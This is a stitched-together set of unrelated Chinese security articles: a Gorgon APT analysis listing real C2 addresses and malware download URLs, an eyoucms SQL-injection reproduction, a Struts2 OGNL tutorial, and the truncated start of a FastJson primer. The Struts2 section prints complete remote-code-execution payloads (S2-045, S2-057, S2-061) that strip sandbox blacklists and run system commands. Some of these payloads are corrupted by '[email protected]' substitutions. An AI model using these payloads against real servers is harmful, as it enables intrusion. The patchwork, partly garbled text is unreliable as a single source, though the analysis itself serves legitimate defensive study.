[45]Domestic Kitten: An Iranian Surveillance
Operation：https://research.checkpoint.com/domestic-kitten-an-iranian-surveillance-operation/
[46]ArmaRat：针对伊朗用户长达两年的间谍活动：http://blogs.360.cn/post/analysis_of_ArmaRat.html
[47]Under the SEA:A Look at the Syrian Electronic Army’s Mobile
Tooling：https://i.blackhat.com/eu-18/Wed-Dec-5/eu-18-DelRosso-Under-the-SEA.pdf
[48]RottenSys: Not a Secure Wi-Fi Service At
All：https://research.checkpoint.com/rottensys-not-secure-wi-fi-service/
[49]StealthBot：150余个小众手机品牌预置刷量木马销往中小城市：http://blogs.360.cn/post/analysis_of_stealthbot.html
[50]SensorBot：利益驱动下的病毒营销：http://blogs.360.cn/post/analysis_of_SensorBot.html
[51]针对韩国长达5年的跨境网络电信诈骗：http://blogs.360.cn/post/telecom_fraud_network_for_Korea.html
[52]Top 50 Products By Total Number Of “Distinct” Vulnerabilities in
2018：https://www.cvedetails.com/top-50-products.php?year=2018
[53] Android平台版本：https://developer.android.com/about/dashboards/
[54]
2018年度安卓系统安全性生态环境研究：http://zt.360.cn/1101061855.php?dtid=1101061451&did=610082749
[55]开发者政策中心：https://play.google.com/intl/zh-CN_ALL/about/restricted-content/financial-instruments/cryptocurrencies/
[56]Providing a safe and secure experience for our users ：https://android-developers.googleblog.com/2018/10/providing-safe-and-secure-experience.html
[57]全国“扫黄打非”办推进开展“净网2018”等三大专项行动：http://www.xinhuanet.com/legal/2018-04/09/c_129846373.htm
[58]十三部门关于印发《综合整治骚扰电话专项行动方案》的通知：http://www.miit.gov.cn/n1146290/n4388791/c6283131/content.html
[59]国家网信办集中开展APP乱象专项整治行动
全环节治理将成为常态：http://www.12377.cn/txt/2018-12/29/content_40629818.htm
[60]移动平台新型诈骗解析：http://blogs.360.cn/post/the_new_telecom_fraud.html
## 360烽火实验室
360烽火实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究。作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 | 社区文章 |
# Gorgon APT组织再做文章：DropBox到NJRat的曲折历程
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
近日，奇安信威胁情报中心在发布[《Gorgon黑客组织再显新招：通过在线网盘发起“三重奏”攻击》](https://mp.weixin.qq.com/s/7PlBz6j8ATFsKUOUYhfyjw)的分析报告后，在对该南亚组织的进一步追踪发现，该组织除了使用Blogspot+pastebin的在线网盘获取木马payload的模式进行攻击外，其还会使用DropBox下载Payload，从伪装的MP3或JPG文件获取最终木马的方式进行攻击。
## 样本分析
本次投递的DownLoader是一个docx文档，打包时间2018年8月22号，上传VirusTotal的时间是2019年8月26日，使用模板注入的方式从DropBox下载后续payload，后续payload是一个RTF文件，内嵌了8个带有宏的Excel
OLE对象。启用宏之后会从C&C下载VBS脚本并执行，VBS经过解密执行PS脚本从C&C下载两个payload，并解密最后通过注入器将njrat注入到MSBuild.exe进程中。
DownLoader样本分析
文件名 | Reserva Ricargo Bago.docx
---|---
MD5 | de2eea6519b4150800b2122300809948
时间 | 2019-08-22 19:11:00
模板注入，打开文档时会从
hxxps://www.dropbox.com/s/0m29532jztadbda/bsuPQI87aopY.doc?dl=1下载RTF文件并打开
bsuPQI87aopY.doc样本信息：
文件名 | bsuPQI87aopY.doc
---|---
MD5 | 5287c2873d1a28be773a2457b6f1f4c9
时间 | 2019-08-22 21:06:00
该RTF文件内嵌了8个带有旧版宏警告的Excel ole对象
当打开该RTF文档时，会弹出Excel表格，并显示旧版宏警告，如果点击禁用，则会弹出下一个Excel，一直持续8次，该技术Carrie
Roberts在其博客上[1]有详细的描述。
Excel中的宏会从172.105.68.75/pirata.txt下载VBS脚本，保存名为MTServices.vbs
调用Wscript执行MTServices.vbs，
VBS会调用Powershell执行脚本
Powershell最中会解密并执行最后的ps脚本
从hxxp://www.m9c.net/uploads/15647132812.mp3和hxxp://www.m9c.net/uploads/15647132811.jpg下载后续payload和脚本，15647132811.jpg内容如下，解密后的15647132811.jpg一个是C#编写的远控木马：
15647132812.mp3内容如下，执行脚本解密出一个C#编写的注入器：
PS脚本通过调用注入器的GFG类中的exe方法，将njrat注入到MSBuild.exe中：
经过分析，被注入的C#程序，互斥量为EDFRWFGH-vJoGYkaB6OOZ的njrat远控木马
链接的域名为duckapp.duckdns.org，IP地址为141.255.145.208:5552
## 同源分析
通过开源情报可知，Gorgon组织曾利用hxxp://www.m9c.net域名发起攻击,最早可以追溯到6月份，该组织通过hxxps://pastebin.com进行payload的投放，最后释放的依然是一个njrat，远控域名：queda212.duckdns.org
经过溯源发现相似样本
文件名 | DADOS_CONFIRMAÇÃO_DE_RESERVA_IDAZA.doc
---|---
MD5 | a77c33fe1d7112eeba2d9653aba67218
时间 | 2019-07-17 04:37:00
打开文档界面如下：
同样是模板注入从hxxp://bit.ly/2JD9Tlr下载RTF文档：
RTF文档信息：
文件名 | tabela.doc
---|---
MD5 | 83bbe5e2a5242de93eb546e4ef22c6fc
时间 | 2019-07-17 01:20:00
该RTF同样内嵌了带有旧版宏警告的Excel ole对象，启用宏之后会从
hxxp://refugiovistaserrana.com.br:80/novosite2/HNSUSbFuYM48DATA16072019.mp3
下载VBS脚本，如图所示，此处的混淆方法在上一篇报告中也有所提及。
“للظال”和“!의있을모!”是Gorgon组织常用混淆，VBS调用PS脚本
Base64解密后
从hxxps://refugiovistaserrana.com.br/novosite/tt.mp3，下载Payload解密并执行，payload同样为njrat，远控域名依然是duckapp.duckdns.org，IP及端口141.255.147.151:5555
至此，本篇可作为上篇关于Gorgon组织系列分析的延伸，仅供参考。
## 总结
Gorgon，一个被认为来自南亚某国家的黑客组织，其目标涉及全球政府，外贸等行业，且目的不纯粹为了金钱，还可能与政治相关。
而从本次活动中，Gorgon仍在使用一些传统木马进行攻击，例如njrat这类“旧时代”木马，但也足以证明，在注重诱饵变更，以及投递手法的创新，在Payload获取的路子上做文章，将会是目前大多数黑客组织常使用的手段，但也是最节省成本，最有效的手段。
目前奇安信集团全线产品，包括天眼、SOC、态势感知、威胁情报平台，支持对涉及Gorgon组织的攻击活动检测，并且奇安信安全助手支持对该组织的样本进行拦截。
## IOC
文件Hash：
de2eea6519b4150800b2122300809948
7fe468b10d95cc993a499abc6a2760a41024f7fe
300c9b54a3747925d7dc5457cbfb93f2f8c2a4ee
7fa6b8a902a46cf7678a3ea225a3a661f37c8ea5
2ab26f82b54ebd841019b6dcc6b92027ae97fd15
b09dbb9ba2c95019bb34e12010be81140ea6a96a
08212a083f7c969132e0e7f6ff0dfe2a713eb2a1
b3b79e5f8893b1eec4171e473716636146845e3c
925be2c3a80370a5f6d1786d7efcd3e51043662a
97b779463c494544fc698d7ca08725e0d41e37bb
C&C：
141.255.147.151:5555
141.255.145.208:5552
172.105.68.75
URL:
www.dropbox.com/s/0m29532jztadbda/bsuPQI87aopY.doc?dl=1
172.105.68.75/pirata.txt
www.m9c.net/uploads/15647132812.mp3
www.m9c.net/uploads/15647132811.jpg
bit.ly/2JD9Tlr
duckapp.duckdns.org
refugiovistaserrana.com.br:80/novosite2/HNSUSbFuYM48DATA16072019.mp3
refugiovistaserrana.com.br/novosite/tt.mp3 | 社区文章 |
本cms的漏洞已经提交过cnvd已修复了。更新到最新版本即可
**0x01** 漏洞复现
这里我是本地搭建的eyoucms环境演示
默认安装完成后，我先是访问如下url
[http://127.0.0.1:8081/eyoucms/?m=home&c=View&a=index&aid=89](http://127.0.0.1:8081/eyoucms/?m=home&c=View&a=index&aid=89)
然后开启burp抓包，构建如下的包
需要改两方面的参数一是referer，改成我们访问的页面
然后将get的url构造为如下
然后放进sqlmap一把梭就行啦
0x02 代码分析
'url_screen_var'这个值=>'ZXLjbXM'，这里它cms也注释说明了这个参数代表了文章状态，在前台使用的。ZXljbXM
这里使用这个参数是需要注册一个用户权限，正好是可以在前台使用
所以上图的refer就代表我们是从用户权限的那里过来的
根据它 ZXLjbXM 所需求的构造如下url。
GET /eyoucms/?ZXljbXM=1&a=index&c=Lists&m=home&tid=3&yanse=1
看最后的参数yanse 是它这个的cms的产品评论里的参数。本来是系统自带的
但是这个参数也是属于用户发表的文章里面的构造，所以结合ZXLjbXM 即可构造可以存在注入的url链接
它这里请求的参数没有做防护
其实它这个文件的三个参数都是可以注入但是构造的请求url不相同。通过更改最后的参数即可
如果安装者是经过调整此点，或者仅用来展示网站的，那利用点可能微乎其微了
这个注入点比较鸡肋。其实没有多少高深的东西，只是笔者运气好，恰好看见这个参数。要不真的发现不了。
因为这个文件属于它cms自带的一处产品编辑的文件，实在不容易被注意到。 | 社区文章 |
# 从零带你看struts2中ognl命令执行漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
hi!! 新面孔打个招呼~最近花了蛮长时间看 Struts2 的漏洞，可能某些安全研究人员（像我）会选择 Struts2 作为入手 java
研究的第一个框架，毕竟最早实现 MVC（Model+View+Controller） 模式的 java web 框架就是 struts
了。所以输出这篇文章记录下我的总结以及理解，如果能对你有所帮助就更好了 ~！
本文不会对 struts2 漏洞的调用链跟进进行阐述，仅是从 struts2 框架中通过 ognl 产生命令执行漏洞的位置以及 struts2
版本更新安全防护升级相应命令执行 PoC 的更新两个角度进行切入。另如有错误烦请指正，谢谢！
文章导航
文章分为四个部分来阐述：
* 对 struts2 框架进行介绍；
* 对 struts2 框架 OGNL 语法进行介绍；
* struts2 命令执行系列漏洞产生的位置；
* struts2 版本变化对应 PoC 的变化
## 一、 struts2 框架介绍
struts2 由 struts1 升级得名，而其中却是采用 Webwork2 作为其代码基础，完全摒弃 struts1 的设计思想及代码，并以 xwork
作为底层实现的核心，以 ognl 作为浏览器与 java 对象数据流转沟通的语言，实现不同形式数据之间的转换与通信。
可以一起看一下 struts2 中一个请求从进入到返回响应会经历哪些过程以及 xwork 核心中各个元素如何配合让程序运转。
下图为请求从输入到输出的过程：
（图出自 <https://blog.csdn.net/qq_32166627/article/details/70050012>）
首先当 struts2 项目启动时，会先加载 web.xml ，由其中定义的入口程序 StrutsPrepareAndExecuteFilter
进行容器的初始化以及转发我们的请求。由其中的 init 函数进行初始化，加载配置文件信息，对内置对象进行创建及缓存，创建接下来 struts2
操作的运行环境。
由 doFilter 函数中对封装成 HttpServletRequest 的 http 请求进行预处理以及转发执行。
在这期间 struts2 需要知道这个请求具体由哪个 action 的哪个方法处理，那么在 doFilter 中，在这里会进行请求和 action
之间的映射，具体为根据输入的 url 截取相关信息存入 org.apache.struts2.dispatcher.mapper.ActionMapping
对象属性中，属性包括了请求的 action 、method 、param 、namespace 等（也就是图中的第 3 步）。当然不一定请求的 action
，比如请求 jsp 文件等，那么 ActionMapping 映射为空，则不由 struts2 转发处理。不为空则由 ActionProxy 根据
ActionMapping 映射信息以及 ConfigurationManager 配置信息，找到我们具体要访问的 Action 类（也是图中的 6、7
步）。接着通过 ActionProxy 创建 ActionInvocation 实例，由 ActionInvocation 实例调度访问 Action 。
在访问 Action 之前，会先执行一个拦截器栈，在拦截器栈中会对请求进行一些处理，比如在 ParametersInterceptor 中将参数通过
setter 、getter 方法对 Action 的属性赋值，在 ConversionErrorInterceptor
中对参数类型转换出错时进行拦截处理等。
接下来才会去访问 Action 类。执行完成返回一个结果，结果可能是视图文件，也有可能是去访问另一个 action ，那么如果是访问另一个 action
就重新进行映射，由 ActionProxy 创建 ActionInvocation 进行调度等，如果是返回一个视图文件，那么逆序拦截器栈执行完，最终通过
HTTPServletResponse 返回响应。
前面洋洋洒洒一大堆，其中有一些比如 ActionProxy 、ActionInvocation
等类可能是陌生的，所以我们可以看一下各个元素。其实上面流程中由 ActionProxy 接管请求信息起，就是 xwork 框架的入口了。下图为 xwork
的宏观示意图。
这些节点元素里面可以分为负责请求响应的执行元素（控制流元素）以及进行请求响应所依赖的数据元素（数据流元素）。而执行元素中负责定义事件处理的基本流程的：Interceptor（拦截器，对
Action 的逻辑扩展）、 Action（核心处理类）、 Result（执行结果，负责对 Action 的响应进行逻辑跳转），以及负责调度执行的：
ActionProxy （提供一个无干扰的执行环境）、ActionInvocation（组织调度 Action 、Interceptor 、Result
节点执行顺序的核心调度器）。而数据流元素则包括了 ActionContext 以及 ValueStack 。其中 ActionContext 中提供了
xwork 进行事件处理过程中需要用到的框架对象（比如：container、ValueStack、actionInvocation
等）以及数据对象（比如：session、application、parameters 等）。而 ValueStack 则主要对 ognl
计算进行扩展，是进行数据访问、 ognl 计算的场所，在 xwork 中实现了 ValueStack 的类就是 OgnlValueStack 。
以上这些概念可能对理解 struts2 框架有所帮助。那么回到主题 struts2 中 ognl 所产生的命令执行的漏洞，就不得不提一些必要的概念。
## 二、 struts2 框架 OGNL 语法
struts2 中使用 Ognl
作为数据流转的“催化剂”。要知道在视图展现中，我们看到的都是字符串，而我们进行逻辑处理时的数据是丰富的，可能是某个类对象，那么如果我们想在页面中展示对象数据就需要一个转换器，这个转换器就是常说的表达式引擎，他负责将对象翻译成字符串，当然这个关系不是单向的，他也可以通过规则化的字符串翻译为对对象的操作。struts2
使用了 ognl 作为他的翻译官，ognl 不仅仅应用于页面字符串与对象数据转换，在 struts2 中各个模块进行数据处理时也会用到。
进行 ognl 表达式计算最主要的元素包括：表达式、 root 对象、上下文环境（ context ）。其中表达式表达了这次 ognl 解析要干什么，
root 对象表示通常 ognl 操作的对象，而上下文环境表示通常 ognl 运行的环境。而 root 对象和 context 上下文环境都是
OgnlValueStack 的属性值。如下图所示：
而其中 root 对象是一个栈结构，每一次请求都会将请求的 action 压入 root 栈顶，所以我们在 url 中可以输入 action
中的属性进行赋值，在参数拦截器中会从 root 栈中从栈顶到栈底依次找同名的属性名进行赋值。
context 对象是一个 map 结构，其中 key 为对象的引用，value 为对象具体的存储信息。（这其中还存储了 OgnlValueStack
的引用）
可以来看看 ognl 怎么对 OgnlValueStack 中的对象进行操作。
对 root 对象的访问：
* name// 获取 root 对象中 name 属性的值
* department.name// 获取 root 对象中 department 属性的 name 属性的值
* department[‘name’] 、 department[“name”]
对 context 上下文环境的访问：
* #introduction// 获取上下文环境中名为 introduction 对象的值
* #parameters.user// 获取上下文环境中 parameters 对象中的 user 属性的值
* #parameters[‘user’] 、 #parameters[“user”]
对静态变量 / 方法的访问：@[class]@[field/method]
* @com.example.core.Resource@ENABLE// 访问 com.example.core.Resource 类中 ENABLE 属性
* @com.example.core.Resource@get()// 调用 com.example.core.Resource 类中 get 方法
方法调用：类似 java 方法调用
* group.containsUser(#requestUser)// 调用 root 对象中 group 中的 containsUser 方法，并传入 context 中名为 requestUser的对象作为参数
## 三、struts2 中 ognl 命令执行漏洞产生的位置
有了前面的基础知识，可以逐渐步入正题。简要总结了 struts2 中 ognl 命令执行漏洞在框架中产生的位置及其原因。
图中的赋值内容就是我们之后的 PoC 内容，进而解析执行触发。
## 四、struts2 版本变化对应 PoC 的变化
“修补”旅途的开始， struts2 中对 ognl 表达式执行也进行了一定的防护。具体体现在 MemberAccess 接口中规定了 ognl 的对象方法
/ 属性访问策略。实现 MemberAccess 接口的有两类：一个是在 ognl 中实现的 DefaultMemberAccess ，默认禁止访问
private 、protected 、package protected 修饰的属性方法。一个是 xwork 中对对象方法访问策略进行了扩展的
SecurityMemberAccess ，指定是否支持访问静态方法，默认设置为 false 。
public class SecurityMemberAccess extends DefaultMemberAccess {
private boolean allowStaticMethodAccess;
Set<Pattern> excludeProperties = Collections.emptySet();
Set<Pattern> acceptProperties = Collections.emptySet();
public SecurityMemberAccess(boolean method) {
super(false);
this.allowStaticMethodAccess = method;
}
…
而在 SecurityMemberAccess中同时也提供了 setAllowStaticMethodAccess
、getAllowStaticMethodAccess 方法，且修饰符为 public 。所以绕过这一版本的防护的 PoC ：
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))
首先通过 #_memberAccess 获取 SecurityMemberAccess 实例，通过 setAllowStaticMethodAccess
方法设置其值为 true ，允许执行静态方法。
接着在 Struts2.3.14.2+ 中，SecurityMemberAccess 对 allowStaticMethodAccess 加了 final
修饰并将 setAllowStaticMethodAccess 方法去除了。
这里绕过就有两种方法：【 PoC 参考：S2-012、S2-015、S2-016（影响的版本：Struts 2.0.0 – Struts 2.3.15）】
通过反射将 allowStaticMethodAccess 的值改变
#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")
#f.setAccessible(true)
#f.set(#_memberAccess,true)
新建一个 ProcessBuilder 实例，调用 start 方法来执行命令
(#p=new java.lang.ProcessBuilder('calc')).(#p.start())
接着在 Struts2.3.20+ 中，SecurityMemberAccess 中增加了 excludedClasses ，
excludedPackageNames 以及 excludedPackageNamePatterns 三个黑名单属性。这三个属性在
SecurityMemberAccess#isAccessible 方法中遍历判断了当前操作类是否在黑名单类中，而在 ognl 表达式执行时
OgnlRuntime 类中
callConstructor、getMethodValue、setMethodValue、getFieldValue、isFieldAccessible、isMethodAccessible、invokeMethod
调用了此方法。也即是在 ognl 表达式在执行以上操作时判断了当前操作类是否在黑名单中。
黑名单属性在 struts-default.xml 中定义：
Struts2.3.28 struts-default.xml ：
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
ognl.OgnlContext,
ognl.ClassResolver,
ognl.TypeConverter,
com.opensymphony.xwork2.ognl.SecurityMemberAccess,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax" />
绕过：【 PoC 参考：S2-032（影响版本：struts2.3.20 – struts2.3.28 (除去 2.3.20.3 及 2.3.24.3)）】
通过 DefaultMemberAccess 替换 SecurityMemberAccess 来完成：
#[email protected]@DEFAULT_MEMBER_ACCESS
这样 ognl 计算时的规则就替换成了 DefaultMemberAccess 中的规则，也就没有了黑名单的限制以及静态方法的限制。这里获取类的静态属性通过
ognl.OgnlRuntime#getStaticField 获得，而该方法中没有调用 isAccessible 方法，故通过
@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 可以获取到 DefaultMemberAccess
对象，赋值给上下文环境中的 _memberAccess ，绕过黑名单限制。
接着在 Struts2.3.30+ 及 struts2.5.2+ 中，增加了 SecurityMemberAccess 中的黑名单，将
ognl.DefaultMemberAccess 以及 ognl.MemberAccess 加入了黑名单；同时在 Struts2.3.30 使用
ognl-3.0.19.jar 包 、struts2.5.2 使用 ognl-3.1.10.jar 包中的 OgnlContext 不再支持使用
#_memberAccess 获得 MemberAccess 实例。
struts2.5.10 ：
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
ognl.OgnlContext,
ognl.ClassResolver,
ognl.TypeConverter,
ognl.MemberAccess,
ognl.DefaultMemberAccess,
com.opensymphony.xwork2.ognl.SecurityMemberAccess,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" />
绕过：【 PoC 参考 S2-045 ，影响版本 Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts
2.5.10 】
通过 ognl.OgnlContext#setMemberAccess 方法将 DefaultMemberAccess 设为 ognl 表达式计算的规则。
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm))
这样无需通过 #_memberAccess 的形式获取实例，而是直接改变 OgnlContext 中的 _memberAccess 属性。但是调用
setMemberAccess 方法会触发检查黑名单，ognl.OgnlContext 俨然在黑名单中，那怎么绕过黑名单呢？
通过 OgnlUtil 改变 SecurityMemberAccess 黑名单属性值：
(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).
(#ognlUtil= #container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear())
从上图中可以看出在 StrutsPrepareAndExecuteFilter#doFilter 初始化 OgnlValueStack 中
SecurityMemberAccess 的黑名单集合时是通过 ognlUtil 中的黑名单集合进行赋值的，他们共享同一个黑名单地址，那么是不是将
OgnlUtil 中的黑名单清空 SecurityMemberAccess 中的黑名单也清空了。
故在 PoC 中首先通过容器获取 OgnlUtil 实例， OgnlUtil 是单例模式实现的对象，所以获取到的实例是唯一的，接着调用 get
方法获取黑名单集合，clear 方法清空。
我们可以一起看一下 S2-045 完整的 PoC ：
%{
(#_='multipart/form-data').
(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))
)).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
最开始的 #_=’multipart/form-data’ 是为了满足触发漏洞的要求，接下来就是将 DefaultMemberAccess 存入
OgnlContext 上下文环境中，接着一个三目运算符主要为了适配低版本中可以直接取到 _memberAccess
对象，取不到就按前面绕过的形式将黑名单清空并将 DefaultMemberAccess 设为默认安全策略。接下来就是执行命令并输出了。
接着在 Struts2.5.13+ 中，excludedClasses 等黑名单集合设为不可变集合（从 struts 2.5.12 开始就不再可变）通过前面
PoC 中的 clear 函数来清除数据会抛出异常：java.lang.UnsupportedOperationException at
java.util.Collections$UnmodifiableCollection.clear 。同时 struts 2.5.13 使用的
ognl-3.1.15.jar 包中 OgnlContext 不再支持使用 #context 获取上下文环境。
com.opensymphony.xwork2.ognl.OgnlUtil#setExcludedClasses :
public void setExcludedClasses(String commaDelimitedClasses) {
Set<String> classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
Set<Class<?>> classes = new HashSet();
Iterator i$ = classNames.iterator();
while(i$.hasNext()) {
String className = (String)i$.next();
try {
classes.add(Class.forName(className));
} catch (ClassNotFoundException var7) {
throw new ConfigurationException("Cannot load excluded class: " + className, var7);
}
}
this.excludedClasses = Collections.unmodifiableSet(classes);
}
绕过：【 PoC 参考 S2-057 ，影响版本 Struts 2.0.4 – Struts 2.3.34, Struts 2.5.0 – Struts
2.5.16 】
通过 setExcludedXXX(”) 方法实现：
(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
但是，实操发现这样发送请求后面的命令还是不能执行，跟进 setExcludedXXX(”) 中的
Collections.unmodifiableSet(classes) 会发现其实是返回了一个新的空集合，并不是之前那个 _memberAccess 和
ognlUtil 共同引用的那个黑名单地址的集合，怎么办呐，很简单再发一次请求就可以了。为什么呢？因为提到过 OgnlUtil
是单例模式实现的，应用从始至终都用的同一个 OgnlUtil ，而 _memberAccess 的作用域是在一次请求范围内的，与此同时 OgnlUtil
中的黑名单集合已经置为空了，那么重新发一次请求，_memberAccess 重新初始化，通过 OgnlUtil 中为空的黑名单进行赋值。
还有一个需要绕过的地方：通过上下文环境中其他属性（比如这里的 attr ）来获得 context 。
#attr['struts.valueStack'].context
完整看一下 S2-057 的 PoC ：
两个数据包：
1、
/${(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}/login.action
2、
/${(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}/login
接着在 Struts2.5.20 中，使用的 ognl-3.1.21.jar 包 ognl.OgnlRuntime#getStaticField 中调用了
isAccessible 方法，同时 OgnlUtil 中 set 黑名单集合等修饰符由 public 变成了 protected 。在
Struts2.5.22+ 中，ognl.OgnlRuntime#invokeMethod
方法调用时屏蔽了常用的类，也即是就算将黑名单绕过去了方法调用时仍会判断是否是这些常用的类。同时 struts-default.xml
中定义的黑名单再次增加。
Struts2.5.25 struts-default.xml ：
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
sun.misc.Unsafe,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames"
value="
ognl.,
java.io.,
java.net.,
java.nio.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc.,
sun.reflect.,
javassist.,
org.apache.velocity.,
org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />
相当于前面绕过方式都不能用了，比如使用 @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 获得
DefaultMemberAccess 实例；使用 #attr[‘struts.valueStack’].context
获得上下文环境；通过容器创建实例等。
绕过：
【 PoC 参考 S2-061 ，影响版本 Struts 2.0.0 – Struts 2.5.25 】
引用新的类来实现：
org.apache.tomcat.InstanceManager ：
* 使用其默认实现类 DefaultInstanceManager 的 newInstance 方法来创建实例
org.apache.commons.collections.BeanMap ：
* 通过 BeanMap#setBean 方法可以将类实例存入 BeanMap 中，存入同时进行初始化将其 set、get 方法存入当前的 writeMethod 、 readMethod 集合中；
* 通过 BeanMap#get 方法可以在当前 bean 的 readMethod 集合中找到对应 get 方法，再反射调用该方法返回一个对象；
* 通过 BeanMap#put 方法可以在当前 bean 的 writeMethod 集合中找到对应 set 方法，再反射调用该方法。
完整看一下 S2-061 的 PoC ：
%25{(#im=#application['org.apache.tomcat.InstanceManager']).
(#bm=#im.newInstance('org.apache.commons.collections.BeanMap')).
(#vs=#request['struts.valueStack']).
(#bm.setBean(#vs)).(#context=#bm.get('context')).
(#bm.setBean(#context)).(#access=#bm.get('memberAccess')).
(#bm.setBean(#access)).
(#empty=#im.newInstance('java.util.HashSet')).
(#bm.put('excludedClasses',#empty)).(#bm.put('excludedPackageNames',#empty)).
(#cmdout=#im.newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
首先从 application 中获得 DefaultInstanceManager 实例，调用 newInstance 方法获得 BeanMap
实例。接着先将 OgnlValueStack 存入 BeanMap 中，通过 get 方法可以获得 OgnlContext 实例，获得
OgnlContext 实例就可以通过其获得 MemberAccess 实例，接着可以通过 put 方法调用 set
方法，将其黑名单置空，黑名单置空后就可以创建一个黑名单中的类实例来执行命令了。
最新版本：Struts2.5.26 中再一次增加了黑名单：
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
sun.misc.Unsafe,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames"
value="
ognl., java.io., java.net., java.nio., javax.,
freemarker.core., freemarker.template., freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc., sun.reflect., javassist.,
org.apache.velocity., org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util.,
org.apache.tomcat., org.apache.catalina.core.,
com.ibm.websphere., org.apache.geronimo.,
org.apache.openejb., org.apache.tomee.,
org.eclipse.jetty., org.mortbay.jetty.,
org.glassfish., org.jboss.as., org.wildfly., weblogic.," />
把中间件的包都给屏蔽了 orz …
## 五、结语
这篇文章主要根据 struts2 版本更新将其命令执行系列漏洞顺了一遍。struts2 框架在执行命令时主要防护机制是
SecurityMemberAccess 中的策略，以及对应使用的 ognl jar 包中的一些变化，分析时可以重点关注这两地方。另外到了
struts2.5.26 版本感觉官方将该补的都补了，但还是期待新 PoC 的出现。
## 六、参考链接
[1] 《Struts2 技术内幕——深入解析Struts2架构设计与》
[2] <https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/>
[3] <https://cwiki.apache.org/confluence/display/WW/Security+Bulletins>
[4] <https://github.com/vulhub/vulhub/tree/master/struts2>
[5] <https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g> | 社区文章 |
## 1.FastJson 简介
fastjson.jar包原始下载地址：<https://github.com/alibaba/fastjson>
fastjson用于将Java
Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包，可以方便的实现json对象与JavaBean对象的转换，实现JavaBean对象与json字符串的转换，实现json对象与json字符串的转换。除了这个fastjson以外，还有Google开发的Gson包，其他形式的如net.sf.json包，都可以实现json的转换。方法名称不同而已，最后的实现结果都是一样的。
将json字符串转化为json对象
在net.sf.json中是这么做的
JSONObject obj = new JSONObject().fromObject(jsonStr);//将json字符串转换为json对象
在fastjson中是这么做的
JSONObject obj=JSON.parseObject(jsonStr);//将json字符串转换为json对象
### 1.1 JNDI
JNDI是 Java 命名与目录接口（Java Naming and Directory
